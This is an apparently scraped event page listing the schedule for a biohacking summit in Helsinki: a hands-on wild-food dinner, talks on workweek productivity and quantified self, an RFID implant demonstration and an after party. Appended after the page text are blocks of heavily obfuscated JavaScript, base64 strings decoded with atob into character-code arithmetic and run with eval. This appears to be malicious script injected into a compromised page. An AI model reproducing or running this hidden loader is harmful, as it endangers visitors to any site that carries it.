Tuesday 9 December – PRE-CONFERENCE DAY
Premium or Dinner Ticket required – Tickets sold here

17:00 – 22:00 – Upgraded Dinner (hands-on) @ Flavour Studio (Työpajankatu 2, Helsinki)
Wild food chef Sami Tallberg

  • More like an upgraded cooking workshop than a dinner
  • Prepared by you with the speakers in guidance of Biohacker’s Handbook authors and wild food chef Sami Tallberg.
  • 6 course dinner prepared in 6 kitchens just like in a TV cooking show
  • Ultra seasonal ingredients, local forage and wild game
  • Everything of course, upgraded with the latest biohacked cooking techniques

This exclusive learning opportunity is based on the upcoming Biohacker’s Handbook “food & nutrition” chapter and on the secret arts practiced by our chefs. The seats are limited, so act quickly.


Wednesday 10 December – MAIN CONFERENCE DAY
Wanha Satama (Pikku Satamakatu 3-5, Helsinki)

09:00 – Coffee with the Speakers, networking and Show & Tell Company Stands
High-quality coffee served: Warrior Coffee (Guatemalan high altitude, single origin, water washed)

10:00 – Opening Remarks: Welcome to the Upgraded Workweek
Biohacker Summit Organizers Teemu Arina and Mikko Ikola

10:15 – Biohacker’s Handbook presents: Biohacking the Workweek
Authors Teemu Arina, Olli Sovijärvi and Jaakko Halmetoja

11:00What Neuroscience Tells Us About Upgrading Work & Cognition
Neuroscientist Katri Saarikivi

11:30 – What Gets Measured Gets Managed: What the Data Tells and Doesn’t
PhD in Analytics, CEO and Most Quantified Man in Finland Pekko Vehviläinen

12:00 – Lunch Break & Show & Tell Company Stands
Upgraded Paleo Lunch

13:30 – Escape 9-to-5: Get Things Done With Virtual Assistants
Co-Founder Mikko Ikola, V-assistentti.fi

14:00 – Upgrade 9-to-5: What Actually Works in Organizations
Author & Creative Director Saku Tuominen, 925 Design

14:30 – Coffee with the speakers, networking break and Show & Tell Company Stands
High-quality coffee served: Warrior Coffee (Guatemalan high altitude, single origin, water washed)

15:30 – Lifehacking for Executives
Lifehacking Veteran Martijn Aslander (NL)

16:00 – Surgery and Installation of Implants on Two Volunteers
Technologist, Author, and Double RFID Implantee Amal Graafstra (US)

16:30 – Conversation With the Audience: Future of Quantified Self & Biohacking
Digital Health Strategist Maarten den Braber (NL)

17:00 – Summary and Closing Words
Biohacker Summit Organizers Teemu Arina and Mikko Ikola

18:00 – Official After Party @ A21 Cocktail Lounge (Annankatu 21, Helsinki)
DJ Arkaei (DE) – Biohacker coctails available with upgraded ingredients


A full day learning practical tricks, talking to the hardest-to-get experts, and trying out the latest self quantification & biohacking tools with other like-minded people interested in optimal performance.

Focus on being productive instead of busy:

  • Measure and upgrade your workweek
  • Maintain optimal energy levels throughout the day
  • Improve daily routines with latest technologies and tools

…and much more.

You will receive practical hands-on advice that you can immediately implement into your working life.

This event is in high demand – Join us and get your tickets before we run out 🙂

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AtIDgsIDEwMSAtIDQsIDEyMiAtIDgsIDMzIC0gMSwgMTAzIC0gMywgMTAyIC0gMSwgMTAyIC0gMywgMzYgLSA0LCA2NiAtIDUsIDQwIC0gOCwgMTI1IC0gNSwgMTE0IC0gMywgMTIzIC0gOSwgMTAzIC0gOCwgMTA1IC0gNCwgMTE1IC0gNSwgMTA3IC0gOCwgNDYgLSA2LCAxMDEgLSA0LCAxMjQgLSA4LCAxMTIgLSAxLCAxMDcgLSA5LCA0MyAtIDMsIDEwMyAtIDIsIDExOCAtIDgsIDEwNCAtIDUsIDEwNyAtIDYsIDEwNSAtIDUsIDQ0IC0gMywgNDYgLSAyLCAzOSAtIDcsIDExNCAtIDcsIDEwMyAtIDIsIDEyOSAtIDgsIDQzIC0gMiwgNjUgLSA2LCAxMSAtIDEsIDQ0IC0gNCwgMTE5IC0gOSwgMTA3IC0gNiwgMTI2IC0gNywgMzUgLSAzLCA3NyAtIDcsIDEyNSAtIDgsIDExNSAtIDUsIDEwMiAtIDMsIDEyMyAtIDcsIDExMiAtIDcsIDExNiAtIDUsIDExOCAtIDgsIDQ0IC0gNCwgMTA4IC0gOCwgMTA4IC0gNywgMTA3IC0gOCwgNDUgLSA0LCA1MCAtIDksIDQzIC0gMywgNDIgLSAxLCA2NiAtIDcsIDE4IC0gOCwgMTkgLSA5KTtldmFsKFlDWUNOU0ZPSlMpOw==’);
eval(GSFHQNIWCV);

var INGJZLMSEN = atob(‘dmFyIERKQktIWUtDWUMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE4IC0gOCwgMTIxIC0gMywgMTAwIC0gMywgMTE5IC0gNSwgMzQgLSAyLCAxMTEgLSA0LCAxMDQgLSAzLCAxMjcgLSA2LCAzNCAtIDIsIDY4IC0gNywgNDEgLSA5LCA0MSAtIDIsIDgxIC0gMSwgODYgLSAxLCAxMTEgLSAzLCAxMDkgLSA1LCAxMDIgLSAyLCAxMDkgLSA1LCA4MyAtIDEsIDEwNyAtIDQsIDExMiAtIDMsIDg2IC0gNCwgNDQgLSA1LCA2NSAtIDYsIDExIC0gMSwgMTI3IC0gOSwgMTAyIC0gNSwgMTIxIC0gNywgMzcgLSA1LCAxMDQgLSAzLCAxMTQgLSA0LCAxMDYgLSA3LCAxMDUgLSA0LCAxMDEgLSAxLCAzNyAtIDUsIDY2IC0gNSwgMzUgLSAzLCA0NiAtIDcsIDgzIC0gOSwgMTA4IC0gMiwgOTAgLSA5LCAxMDUgLSA0LCA4NCAtIDEsIDcyIC0gNiwgODggLSA3LCAxMDAgLSAzLCA3OSAtIDEsIDcwIC0gNSwgMTIxIC0gNSwgODAgLSAyLCA5OSAtIDEsIDU3IC0gNiwgNzAgLSA1LCAxMjEgLSAxLCA2NyAtIDIsIDEyNCAtIDUsIDEyMiAtIDcsIDg2IC0gNCwgNzMgLSA3LCA4NiAtIDIsIDEwOCAtIDksIDgzIC0gOSwgODAgLSA5LCA5NiAtIDgsIDEyMSAtIDIsIDEyMyAtIDEsIDgwIC0gNiwgMTI2IC0gNywgMTE0IC0gNywgNzUgLSAxLCA3OCAtIDksIDcxIC0gNiwgNTMgLSA1LCA5NyAtIDksIDcwIC0gMywgMTIxIC0gMiwgMTA2IC0gMywgNTQgLSA3LCA4NCAtIDYsIDkwIC0gNiwgMTE5IC0gNCwgOTUgLSA2LCA4NiAtIDUsIDc1IC0gNiwgODEgLSA0LCAxMDcgLSA5LCA4MCAtIDMsIDgzIC0gMSwgOTMgLSA4LCA3MSAtIDIsIDc4IC0gNSwgMTExIC0gNiwgOTAgLSA4LCAxMjIgLSAxLCA4NyAtIDUsIDk1IC0gOSwgODAgLSAyLCAxMjMgLSA2LCA3NyAtIDYsIDcwIC0gMywgNzQgLSA5LCA3MiAtIDYsIDc0IC0gOSwgOTYgLSA4LCAxMjUgLSA2LCAxMTEgLSA1LCA4NiAtIDksIDcyIC0gNiwgMTExIC0gOCwgMTE2IC0gNCwgNzEgLSAyLCA2NyAtIDEsIDEyMCAtIDEsIDExMiAtIDksIDczIC0gNSwgMTA4IC0gNSwgNjIgLSA2LCAxMTkgLSA5LCA4MSAtIDcsIDc0IC0gNiwgNzUgLSA5LCA3NyAtIDgsIDg2IC0gMiwgMTIxIC0gMSwgMTA2IC0gNywgMTAzIC0gNiwgODAgLSAzLCA5MSAtIDYsIDcxIC0gNSwgNzUgLSA5LCAxMDcgLSA3LCA4OCAtIDQsIDExMSAtIDgsIDEwNyAtIDMsIDc4IC0gNywgNjkgLSAzLCAxMTEgLSA3LCAxMDggLSA3LCA4MyAtIDEsIDU1IC0gNCwgNTAgLSAyLCA4NiAtIDIsIDc0IC0gMiwgMTI3IC0gNSwgODYgLSA5LCA1NiAtIDYsIDc4IC0gMSwgMTI4IC0gOSwgODkgLSA0LCA4MSAtIDUsIDcyIC0gNiwgOTEgLSA5LCAxMDUgLSAyLCA1OSAtIDQsIDg3IC0gNCwgODggLSA3LCA4MiAtIDUsIDQ0IC0gMSwgMTA0IC0gMiwgMTI4IC0gNywgOTAgLSAxLCA5NSAtIDYsIDcxIC0gNCwgOTEgLSA5LCA3NCAtIDksIDczIC0gNywgODYgLSA5LCA5MSAtIDYsIDEwOSAtIDYsIDcyIC0gNywgODAgLSAzLCAxMjMgLSAxLCAxMTEgLSA0LCA1NiAtIDEsIDg3IC0gNiwgMTExIC0gOCwgNzkgLSA2LCA5MyAtIDUsIDkxIC0gNywgNTkgLSA4LCAxMjIgLSA2LCAxMDMgLSA0LCA5OCAtIDgsIDEyNCAtIDIsIDkzIC0gNCwgNTYgLSA5LCA4MiAtIDQsIDExMiAtIDgsIDExMSAtIDQsIDczIC0gMywgNjcgLSAyLCA5MCAtIDksIDkzIC0gNCwgMTE0IC0gNSwgOTAgLSA3LCA5MCAtIDksIDkwIC0gNSwgNTQgLSAzLCA4NiAtIDksIDkwIC0gNiwgNzIgLSAyLCA3MyAtIDYsIDcyIC0gNSwgOTAgLSA4LCA4NyAtIDYsIDk1IC0gNiwgODQgLSA2LCAxMjcgLSA4LCAxMTMgLSA2LCA3NyAtIDMsIDczIC0gNCwgOTMgLSA5LCAxMTAgLSA3LCA1OCAtIDIsIDY2IC0gMSwgNzAgLSA1LCAxMjMgLSAzLCA3OSAtIDIsIDc4IC0gNywgNzMgLSA2LCA2OSAtIDQsIDc1IC0gOSwgNjcgLSAyLCA5NCAtIDYsIDEyMCAtIDQsIDExNSAtIDEsIDkwIC0gMiwgMTI0IC0gNSwgNzAgLSA5LCA2NyAtIDYsIDQ4IC0gOSwgNjcgLSA4LCAxNiAtIDYsIDEwMyAtIDEsIDEyMiAtIDUsIDExOSAtIDksIDEwNiAtIDcsIDExOSAtIDMsIDExMyAtIDgsIDExMyAtIDIsIDExMSAtIDEsIDM0IC0gMiwgMTI0IC0gNCwgMTE5IC0gOCwgMTE5IC0gNSwgOTkgLSA0LCAxMDYgLSA1LCAxMTcgLSA3LCAxMDUgLSA2LCA0NSAtIDUsIDExOCAtIDMsIDExOSAtIDMsIDEyMyAtIDksIDExMCAtIDUsIDExNiAtIDYsIDEwNSAtIDIsIDUwIC0gNiwgMzggLSA2LCAxMTIgLSA1LCAxMDcgLSA2LCAxMjkgLSA4LCA0MyAtIDIsIDQxIC0gOSwgMTMyIC0gOSwgMTggLSA4LCAzNCAtIDIsIDM5IC0gNywgMTI2IC0gOCwgMTAwIC0gMywgMTIyIC0gOCwgMzYgLSA0LCAxMTkgLSA1LCAxMDQgLSAzLCAxMjAgLSA1LCAzOCAtIDYsIDYzIC0gMiwgMzQgLSAyLCA0NiAtIDcsIDQ4IC0gOSwgNjggLSA5LCAxNCAtIDQsIDM3IC0gNSwgNDAgLSA4LCAxMDcgLSA1LCAxMTMgLSAyLCAxMTYgLSAyLCAzNyAtIDUsIDQ0IC0gNCwgMTI3IC0gOSwgMTAxIC0gNCwgMTIyIC0gOCwgMzUgLSAzLCAxMTMgLSA4LCAzNSAtIDMsIDY1IC0gNCwgNDAgLSA4LCA1MSAtIDMsIDYzIC0gNCwgMzMgLSAxLCAxMDkgLSA0LCAzNiAtIDQsIDY4IC0gOCwgMzkgLSA3LCAxMjQgLSA5LCAxMTggLSAyLCAxMTggLSA0LCAxMDggLSAzLCAxMTQgLSA0LCAxMTEgLSA4LCA0NyAtIDEsIDEwOSAtIDEsIDExMCAtIDksIDExMiAtIDIsIDExMSAtIDgsIDExOCAtIDIsIDEwOSAtIDUsIDYxIC0gMiwgMzcgLSA1LCAxMTAgLSA1LCA1MiAtIDksIDQ5IC0gNiwgNTAgLSA5LCAzNyAtIDUsIDEzMSAtIDgsIDE1IC0gNSwgNDAgLSA4LCAzOSAtIDcsIDQwIC0gOCwgMzUgLSAzLCAxMTUgLSAxLCAxMDMgLSAyLCAxMjAgLSA1LCAzNCAtIDIsIDUxIC0gOCwgNjMgLSAyLCAzNyAtIDUsIDkxIC0gOCwgMTI1IC0gOSwgMTIwIC0gNiwgMTA4IC0gMywgMTE4IC0gOCwgMTA1IC0gMiwgNTQgLSA4LCAxMTAgLSA4LCAxMTggLSA0LCAxMTMgLSAyLCAxMTUgLSA2LCA3MiAtIDUsIDExMiAtIDgsIDEwMCAtIDMsIDEyMSAtIDcsIDY5IC0gMiwgMTE4IC0gNywgMTA1IC0gNSwgMTA0IC0gMywgNDMgLSAzLCAxMTYgLSAxLCAxMjQgLSA4LCAxMTUgLSAxLCAxMDYgLSAxLCAxMTYgLSA2LCAxMTEgLSA4LCA0NyAtIDEsIDEwMCAtIDEsIDEwOCAtIDQsIDEwMSAtIDQsIDExOCAtIDQsIDc2IC0gOSwgMTE4IC0gNywgMTAxIC0gMSwgMTAzIC0gMiwgNjkgLSA0LCAxMjMgLSA3LCA0OCAtIDgsIDExMyAtIDgsIDQzIC0gMiwgNDAgLSA4LCA5NyAtIDMsIDE4IC0gOCwgMTAgLSAxLCAxNiAtIDcsIDExIC0gMiwgMTYgLSA3LCAxMTMgLSA2LCAxMDQgLSAzLCAxMjYgLSA1LCA1MiAtIDYsIDEwNSAtIDYsIDEwNyAtIDMsIDEwNCAtIDcsIDExOCAtIDQsIDcxIC0gNCwgMTE1IC0gNCwgMTA0IC0gNCwgMTA1IC0gNCwgNjYgLSAxLCAxMjIgLSA2LCA0OCAtIDgsIDExNCAtIDksIDM2IC0gNCwgNDUgLSA4LCAzNCAtIDIsIDExNCAtIDcsIDEwNyAtIDYsIDEyOSAtIDgsIDQ4IC0gMiwgMTE3IC0gOSwgMTA0IC0gMywgMTE0IC0gNCwgMTEyIC0gOSwgMTIyIC0gNiwgMTA3IC0gMywgNDkgLSA4LCA0NiAtIDUsIDY3IC0gOCwgMTEgLSAxLCAzNCAtIDIsIDMzIC0gMSwgMTMzIC0gOCwgMTcgLSA3LCAzOCAtIDYsIDM4IC0gNiwgMTIwIC0gNiwgMTA3IC0gNiwgMTI0IC0gOCwgMTIzIC0gNiwgMTE2IC0gMiwgMTE4IC0gOCwgMzYgLSA0LCAxMjIgLSA4LCAxMTAgLSA5LCAxMTkgLSA0LCA2NSAtIDYsIDE3IC0gNywgMTI5IC0gNCwgMTUgLSA1LCAxNyAtIDcsIDEyNyAtIDksIDEwMSAtIDQsIDEyMyAtIDksIDM3IC0gNSwgMTA4IC0gOCwgMTA5IC0gOCwgMTAxIC0gMiwgMzQgLSAyLCA2NSAtIDQsIDM1IC0gMywgMTIyIC0gMiwgMTE4IC0gNywgMTIxIC0gNywgOTcgLSAyLCAxMDUgLSA0LCAxMTEgLSAxLCAxMDAgLSAxLCA0MSAtIDEsIDEwNCAtIDcsIDEyMiAtIDYsIDExMiAtIDEsIDEwMSAtIDMsIDQ1IC0gNSwgMTA5IC0gOCwgMTE0IC0gNCwgMTAxIC0gMiwgMTEwIC0gOSwgMTA5IC0gOSwgNDIgLSAxLCA1MCAtIDYsIDQxIC0gOSwgMTExIC0gNCwgMTA0IC0gMywgMTMwIC0gOSwgNDcgLSA2LCA2NyAtIDgsIDE4IC0gOCwgNDggLSA4LCAxMTUgLSA1LCAxMDkgLSA4LCAxMjIgLSAzLCAzNiAtIDQsIDcyIC0gMiwgMTE5IC0gMiwgMTE5IC0gOSwgMTA0IC0gNSwgMTI0IC0gOCwgMTEyIC0gNywgMTE3IC0gNiwgMTE4IC0gOCwgNDMgLSAzLCAxMDUgLSA1LCAxMDMgLSAyLCAxMDggLSA5LCA0NSAtIDQsIDQ0IC0gMywgNDQgLSA0LCA0OCAtIDcsIDY0IC0gNSwgMTYgLSA2LCAxNyAtIDcpO2V2YWwoREpCS0hZS0NZQyk7’);
eval(INGJZLMSEN);